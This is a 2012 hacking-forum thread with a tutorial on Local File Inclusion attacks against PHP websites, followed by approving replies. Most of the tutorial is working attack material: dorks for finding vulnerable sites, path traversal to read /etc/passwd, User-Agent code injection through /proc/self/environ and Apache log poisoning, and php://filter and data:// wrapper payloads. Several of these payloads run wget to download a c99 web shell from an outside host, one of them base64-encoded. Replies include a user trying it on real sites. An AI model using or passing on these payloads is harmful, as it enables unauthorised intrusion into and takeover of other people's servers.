

Forum:[Hack Forums](#)

Thread: [\[TUT\]Ultimate Local File Injection\(lfi\) \[pics/highly detailed\]](#)

-zerocool - March 30, 2012, 7:30 am

1. What is LFI?
2. Finding LFI vulnerabilities
3. Exploiting LFI vulnerabilities

- /proc/self/environ
- /proc/self/fd
- Log poisoning
- wrapper php://filter
- wrapper data://

1.0 What is LFI?

Code LFI stands for Local File Inclusion. LFI is a type of web-application security vulnerability. LFI is only one of many web-application security vulnerabilities. Web-applications is applications(in other words: pages/websites) you can view and interact with in your web browser.

2. Finding LFI vulnerabilities

You can easily find it.. .

First lets take a look at a php code that is vulnerable to LFI:

Code:

PHP Code

```
<?php
```

```
$page = $_GET[page];
```

```
include($page);
```

?>Now, this is a piece of code that should NEVER be used, because the \$page isn't sanitized and is passed directly to the webpage, but unfortunately is very common to be find in the www world.

Now To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages.

lets see it

Normal link : <http://www.site.com/ru/page.php?d=1>

Injection link : <http://www.bid-qualitysummit.com/ru/page.php?d=1asdfgd>

Output:

```
[img]http://img7.imageshack.us/img7/3300/454qk.jpg[/img]
```

Its not always you will get an error message. Sometimes the script might even redirect you to the home page or something when it detects an error.

Dorks:

Code inurl:index.php?page=index.php

inurl:index.php?page=sitemap.php

inurl:index.php?page=awards.php

inurl:index.php?page=book.php

inurl:index.php?page=store.php

inurl:index.php?page=items.php

inurl:index.php?page=feedback.php

inurl:index.php?page=welcome.php

inurl:index.php?page=advertise.php

inurl:index.php?page=festival.php
inurl:index.php?page=band.php
inurl:index.php?page=musicians.php
inurl:index.php?page=artist.php
inurl:index.php?page=archive.php
inurl:index.php?page=facilities.php
inurl:index.php?page=activities.php
inurl:index.php?page=bio.php
inurl:index.php?page=biography.php
inurl:index.php?page=menu.php
inurl:index.php?page=profile.php
inurl:index.php?page=terms.php
inurl:index.php?page=tos.php
inurl:index.php?page=screenshots.php
inurl:index.php?page=plans.php
inurl:index.php?page=templates.php
inurl:index.php?page=browse.php
inurl:index.php?page=shows.php
inurl:index.php?page=dining.php
inurl:index.php?page=media.php
inurl:index.php?page=offers.php
inurl:index.php?page=photogallery.php
inurl:index.php?page=schools.php
inurl:index.php?page=rates.php
inurl:index.php?page=buy.php
inurl:index.php?page=pricing.php
inurl:index.php?page=web.php
inurl:index.php?page=cms.php
inurl:index.php?page=sponsors.php
inurl:index.php?page=login.php
inurl:index.php?page=admin.php
inurl:index.php?page=register.php
inurl:index.php?page=signin.php
inurl:index.php?page=signup.php
inurl:index.php?page=artikel.php
inurl:index.php?page=kontakt.php
inurl:index.php?page=directions.php
inurl:index.php?page=farm.php
inurl:index.php?page=resume.php
inurl:index.php?page=products.php
inurl:index.php?page=music.php
inurl:index.php?page=agenda.php
inurl:index.php?page=faculty.php
inurl:index.php?page=overview.php
inurl:index.php?page=research.php
inurl:index.php?page=publications.php
inurl:index.php?page=outreach.php
inurl:index.php?page=education.php
inurl:index.php?page=regulations.php

Download some lfi sites(3/30/2012) at my friend site and you can also check my tut at that site ?

<http://trackforhack.com/blog/category/ebooks/>

3. Exploiting LFI vulnerabilities

There are 5 methods./proc/self/environ

/proc/self/fd (i will update it later)

log poisoning

using wrapper php://filter

using wrapper data:

/proc/self/environ

Lets say that you have successfully found a vulnerable page.

The URL is www.site.com/index.php?page=index

Now replace index with /etc/passwd so it will look like this

Code `www.site.com/index.php?page=/etc/passwd`well if you get error "No such file in directory"

then go to one directory up using `../`

Code `../etc/passwd`

`../../etc/passwd`

`../../etc/passwd`like that

If you try just `/etc/passwd` and if you are lucky you will get this

http://img838.imageshack.us/img838/4391/etcpass.jpg[/img]

Now thats good. You can include files from server.

Now replace `/etc/passwd` with `/proc/self/environ`

so your url will look like this :

Code `www.site.com/index.php?page=/proc/self/environ`it will give this then its good .You are on way

http://img801.imageshack.us/img801/7908/procself.jpg[/img]

Now download and install "tamper data plugin in firefox"

Go to tools - tamper data

it will look like this

http://img252.imageshack.us/img252/3361/tamperdata.jpg[/img]

So your page should still be `/proc/self/environ`

Click Start Tamper, and refresh your page.

so it will open tamper data and ask us to tamper so click on tamper

http://img3.imageshack.us/img3/2807/tamper2.jpg[/img]

In the User-Agent field, type:

PHP Code

`<?php phpinfo();?>`Now when your site is down loading, you should get an image that looks something like this if you did it correctly.

http://img252.imageshack.us/img252/3420/phpinfo.jpg[/img]

Now search for "disable_functions" (Ctrl+F Search function)

Mine is

http://img849.imageshack.us/img849/9103/disablefunc.jpg[/img]

That is good.We can spawn our shell now!

Now go back and edit your User-Agent.

Change "User-Agent" to:

PHP Code

`<?exec('wget http://www.tektao.com.cn/files/c99.txt -O shell.php');?>`wget function downloads shell in .txt format and renames it as shell.php

Save it and refresh your site.

Go to Code <http://www.site.com/shell.php> or Code www.site.com/index.php?page=shell.php

Voila, we have our shell up.

Enjoy.

Using log poisoning

After knowing you can include any file(s) with a LFI. You could try log poisoning to execute PHP code to gain higher access to the system.

In order to perform a LFI log poisoning you need to be able to include the apache error or and access logs. Unfortunately for us I believe this have been made "impossible" in newer versions of apache(the most used web server). Nonetheless. It does not stop us from trying.

First, try including various known locations for the apache logs. Here are a few common paths:

Code `/etc/httpd/logs/acces_log`

`/etc/httpd/logs/acces.log`

`/etc/httpd/logs/error_log`

`/etc/httpd/logs/error.log`

`/var/www/logs/access_log`

`/var/www/logs/access.log`

`/usr/local/apache/logs/access_log`

`/usr/local/apache/logs/access. log`

`/var/log/apache/access_log`

`/var/log/apache2/access_log`

`/var/log/apache/access.log`

`/var/log/apache2/access.log`

`/var/log/access_log`

`/var/log/access.log`

`/var/www/logs/error_log`

`/var/www/logs/error.log`

`/usr/local/apache/logs/error_l og`

`/usr/local/apache/logs/error.l og`

`/var/log/apache/error_log`

`/var/log/apache2/error_log`

`/var/log/apache/error.log`

`/var/log/apache2/error.log`

`/var/log/error_log`

`/var/log/error.log`

Lets say we can include `/var/www/logs/access.log`.

so our url will be

Code <http://www.site.com/index.php?page=/var/www/logs/access.log>It will give look like this log:

```
Code 11.11.11.11 - - [05/Feb/2004: 21:34:01 -0600] "GET / tindex.php? Inc = HTTP/1.1" 200 230
 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1 ; en-US, rv: 1.8.1.11) Gecko/20071127
Firefox/2.0.0.11 "
```

```
11.11.11.11 - - [05/Feb/2004: 21:34:04 -0600] "GET / tindex.php? Inc = ../../.. etc / passwd
HTTP/1.1" 200 175 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11)
Gecko/20071127 Firefox/2.0.0.11"
```

```
11.11.11.11- [05/Feb/2004: 21:34:07 -0600] "GET / index.php? Inc = test.php HTTP/1.1" 200 134
 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127
Firefox/2.0.0.11 "
```

```
11.11.11.11 - - [05/Feb/2004: 21:34:08 -0600] "GET / index.php? Inc = ../../.. var / www / logs /
access.log HTTP/1.1" 200 164 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11)
```

Gecko/20071127 Firefox/2.0.0.11

so we can see logfile stores also our user agent

so we can exploit it via user agent same in /proc/self/environ

lets we change user agent to

PHP Code

```
<? Php echo 'test';?>
```

so now output will be

```
Code 11.11.11.11 -- [05/Feb/2004: 21:34:01 -0600] "GET / tindex.php? Inc = HTTP/1.1" 200 230
 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1 ; en-US, rv: 1.8.1.11) Gecko/20071127
Firefox/2.0.0.11 "
```

```
11.11.11.11 -- [05/Feb/2004: 21:34:04 -0600] "GET / tindex.php? Inc = ../../ etc / passwd
HTTP/1.1" 200 175 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11)
```

```
Gecko/20071127 Firefox/2.0.0.11"
```

```
11.11.11.11-- [05/Feb/2004: 21:34:07 -0600] "GET / index.php? Inc = test.php HTTP/1.1" 200 134
 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127
```

```
Firefox/2.0.0.11 "
```

```
11.11.11.11 -- [05/Feb/2004: 21:34:08 -0600] "GET / index.php? Inc = ../../ var / www / logs /
access.log HTTP/1.1 "200 164" - "" test "
```

if you get test then we can spawn our shell just by changing user agent to

PHP Code

```
<?exec('wget http://www.tektao.com.cn/files/c99.txt -O shell.php');?>Go to Code
```

http://www.site.com/shell.php or Code www.site.com/index.php?page=shell.phpVoila,we have our shell up.

Enjoy.

Using wrapper php://filter:

what is php://filter ??

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

Well as hacker You can read some yummy file like configuration.php,index.php,database.php etc.. Lets see we read index.php file

Injection link:

Code http://site.com/index.php?file=php://filter/convert.base64-encode/resource=indexit will give you result in base64 encoding like this

[img]http://img853.imageshack.us/img853/5299/phpfilter.jpg[/img]

To read you have to decode that content at

base64decode.org

thats it .

Using wrapper data://

The data: (> RFC 2397) stream wrapper is available since PHP 5.2.0.

Taking advantage of PHP's RFC 2397 support (<http://php.net/manual/en/wrappers.data.php>), you can inject the PHP code you want executed directly into the URL.

Lets see it:

Code http://www.site.com/index.php?page=data:,&cmd=whoami

It also supports base 64 Encoding...

Code

```
http://www.site.com/index.php?page=data::base64,PD8gZXhlYygcX0dFVFtjbWRdKTsgPz4=&cmd=whoami
```

Using the base64 encoding, you may be able to shorten your injection pending that they have size restrictions.

Also notice above, when using `$_GET[cmd]`, there aren't any quotes used. This still works effectively and it comes in handy if the server has `magic_quotes` enabled

Note: You can upload shell using it like Encode

PHP Code

```
<? exec('wget http://www.tektao.com.cn/files/c99.txt -O shell.php'); ?>
```

 in base64 we get this

Code

```
PD8gZXhlYyhcJ3dnZXQgaHR0cDovL3d3dy50ZWt0YW8uY29tLmNuL2ZpbGVzL2M5OS50eHQgLU8gc2hpbGwucGhwXCcpOyA/Pg==
```

so injection will be

Code `http://www.site.com/index.php?page=`

```
data::base64,PD8gZXhlYyhcJ3dnZXQgaHR0cDovL3d3dy50ZWt0YW8uY29tLmNuL2ZpbGVzL2M5OS50eHQgLU8gc2hpbGwucGhwXCcpOyA/Pg==
```

Now navigate to

Code `http://www.site.com/shell.php` or Code `http://www.site.com/index.php?page=shell.php`

Thats it!!!!

Sorry if i have made mistake.

Shootout to zerofreak,benzi,lolau0,Downfall,INER7IA,haxor,Hooded Robin,kobez,Zer0Pwn,orunu,MaXoNe and team havok & intra.

PM me for if you need help with anything.

| Solo | - March 30, 2012, 7:40 am

aww no shoutout to me :(hahaa jk great tut keep up the good work :)

Th3PonyWizard - March 30, 2012, 7:44 am

Great tutorial, thanks for clearing me out several important points.

-MaTaN- - March 30, 2012, 7:52 am

wow, thanks you for this tutorial! awesome tutorial :)

benzi - March 30, 2012, 7:54 am

high quality tutorial, explained very well.

good job my friend, bravo.

Sw1x - March 30, 2012, 7:57 am

Thanks for this, -Downfall made a really good tutorial on this, so did you. :)

Keep it up, want to see more from you. :)

BeggFoMercy - March 30, 2012, 7:58 am

Great work dude , Keep up the good work ;X

?unx - March 30, 2012, 8:58 am

Awesome tutorial. Easy to understand, well explained and good pictures.

ahmad_adnan - March 30, 2012, 10:24 am

This is the best LFI tut i've ever visited!

Mx. - March 30, 2012, 10:42 am

Seems like a complete rip off from downfall & hooded robin..

-zerocool - March 30, 2012, 11:41 am

(Mar 30, 2012 07:40 AM)INER7IA Wrote: [\[CITE\]](#) aww no shoutout to me :(hahaa jk great tut keep up the good work :)

i have added you in list bro.thanks for comment.

(Mar 30, 2012 07:44 AM)Th3PonyWizard Wrote: [\[CITE\]](#) Great tutorial, thanks for clearing me out several important points.No problem bro.Glad to clear your doubt.

(Mar 30, 2012 07:54 AM)benzi Wrote: [\[CITE\]](#) high quality tutorial,explained very well.
good job my friend,bravo.

ah thanks benzi.You are like my Big I have learnt many things from you.

(Mar 30, 2012 07:58 AM)BeggFoMercy Wrote: [\[CITE\]](#) Great work dude , Keep up the good work ;X
Highly appreciated.Thanks for comment.

Greyersting - March 30, 2012, 12:08 pm

There are already so many similar LFI tutorials.

Anyway, nice job.

raks - March 30, 2012, 12:09 pm

This is a wonderful TUTORIAL i will give 100/100

albin - March 30, 2012, 11:37 pm

Nice post.but i can't find logs location in a website running on apache 2.8.pls help me.

r00tshell - March 31, 2012, 12:41 am

Nice tut but most of them seem like directory traversal :) Tnx though :)

Mr.Lazy - April 3, 2012, 2:04 pm

nice awesome tutorial...very HQ thread...keep it up

rfpd - July 16, 2012, 11:36 am

I can't find any vulnerable websites the best one I found I got /etc/passwd but when I went to next step it didn't work :S and now I only get MySql errors saying fail to include blablba

Jae? - July 16, 2012, 12:36 pm

(Jul 16, 2012 11:36 AM)rfpd Wrote: [\[CITE\]](#) I can't find any vulnerable websites the best one I found I got /etc/passwd but when I went to next step it didn't work :S and now I only get MySql errors saying fail to include blablba

Normally I'd shout at people for ing threads this old, but I'm thanking you. This thread is so helpful and HQ.

I come up with a short Dork to find vulnerable pages:

Code intext: Failed opening '1.php' for inclusionHope it comes in use for some of you.

ajkaro - July 16, 2012, 2:48 pm

Awesome tutorial, very well explained and easy to understand. Bookmarked! Thanks!

~[DogiD]~ - July 26, 2012, 4:50 am

Thank a lot bro. Very helpful tutorial.

~ DogiD ?

Crysan - July 26, 2012, 5:44 am

Spoiler ([Click to View](#))[img]http://29.media.tumblr.com/tumblr_lltzgnHi5F1qzib3wo1_400.jpg[/img]

This will solve some problems.

You forgot the php://input method :P

Phizo - July 26, 2012, 5:53 am

Great tutorial, -zerocool.

Very informative.

Suved - July 26, 2012, 6:53 am

Awesome tutorial.

Thanks for tutorial.